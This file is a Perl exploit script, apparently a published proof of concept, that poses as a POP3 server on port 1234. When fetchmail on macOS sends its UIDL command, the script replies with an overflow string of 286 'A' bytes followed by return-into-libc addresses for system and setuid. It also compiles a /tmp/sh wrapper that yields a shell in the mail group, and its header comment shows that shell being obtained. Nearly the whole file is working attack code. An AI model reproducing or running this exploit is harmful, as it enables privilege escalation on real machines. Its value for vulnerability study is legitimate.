#!/usr/bin/perl
# getpwnedmail.pl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright (c) 1999 David Nicol <davidnicol@acm.org>
#
# kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234
# Enter password for kfinisterre@localhost: 
# sh-2.05b$ id
# uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)
#
# http://docs.info.apple.com/article.html?artnum=106704

use Socket;
use IO::Handle;
use IO::Socket;

$banner = "     /tmp/sh                  ";
$cmd = $banner ; 

$ebp = 0x41424344; 
$system = 0x900474e0; # NX is a problem use return into libc
$setuid = 0x90033da0; 
$cmdstr = 0xbfffd923; # (gdb) x/10s $esp+131    - 0xbfffd8e3:      "     /tmp/sh           "

$malstr = "A" x 286 . pack('l', $ebp) . pack('l', $system) . pack('l', $setuid) . pack('l', $cmdstr) ;
        
open(SUSH,">/tmp/aaa.c");
printf SUSH "int main(){setegid(6);setgid(6);system(\"/bin/sh\");}\n";
system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c");

$PortNumber  = 1234;
$door = IO::Socket::INET->new( Proto=>'tcp', LocalPort=>$PortNumber, Listen=>SOMAXCONN, Reuse=>1 );
die "Cannot set up socket: $!" unless $door;

$timeout = 60;
$SIG{ALRM} = sub { die "alarm or timeout\n" };

print "open a new window and type - \"/usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234\"\n";
print "choose any password and press enter\n"; 
for(;;)
{
  until(  $client = $door->accept())
  {
    sleep 1;
        };
  $F = fork;
  die "Fork weirdness: $!" if $F < 0;

        if($F)
  {
    close $client;
    next;
  };
                
        close ($door);

        $client->autoflush();
  &AUTHORIZATION;
  &TRANSACTION;
  exit;
};

sub OK($)
{
  my $A = shift;
        $A =~ s/\s+\Z//g;
        print $client "+OK $A\r\n";
  alarm $timeout;
};

sub ERR($)
{
  my $A = shift;
        $A =~ s/\s+/ /g;
        $A =~ s/\s+\Z//g;
        print $client "-ERR $A\r\n";
  alarm $timeout;
};

sub AUTHORIZATION
{
  $Name = '';
  OK "$banner";
  NEEDUSER:
        $Data = <$client>;
        ($Name) =  $Data =~ m/^user (\w+)/i;
  unless($Name)
  {
    ERR "The itsy bitsy spider walked up the water spout";
    die if ++$strikes > 5;
    goto NEEDUSER;
  };
  OK "User name ($Name) ok. Password, please.";
        $Data = <$client>;
        my($Pass) =  $Data =~ m/^pass (.*)/i;
  $Pass =~ s/\s+\Z//g;
  
  OK "$Name has " . 8 . " messages";
};

sub TRANSACTION
{
  %deletia = ();
  START:
        $_ = $Data = <$client>;
  unless(defined($Data))
  {
    print "Client closed connection\n";
    exit;
  };
  if (m/^STAT/i){ &STAT; goto START};
  if (m/^UIDL/i){ &UIDL; goto START};

  # Just cram the shellcode onto the stack... 
  ERR "Welcome to Pwndertino !  $cmd";

  goto START;
}

sub STAT
{
  alarm 0;  
  $mm = 0;
  $nn = scalar(@Messages);
  foreach $M (@Messages){
    $mm += -s "$M";
  };
  OK "8 7035";
};

sub List($)
{
  my $M = $Messages[$_[0]-1];
  return if $deletia{$M};
  print $client $_[0],' ',(-s $M)."\r\n";
  alarm $timeout;
};

sub UIDL
{
  print "Sending exploit string\n";
  OK "1 " . $malstr; 
};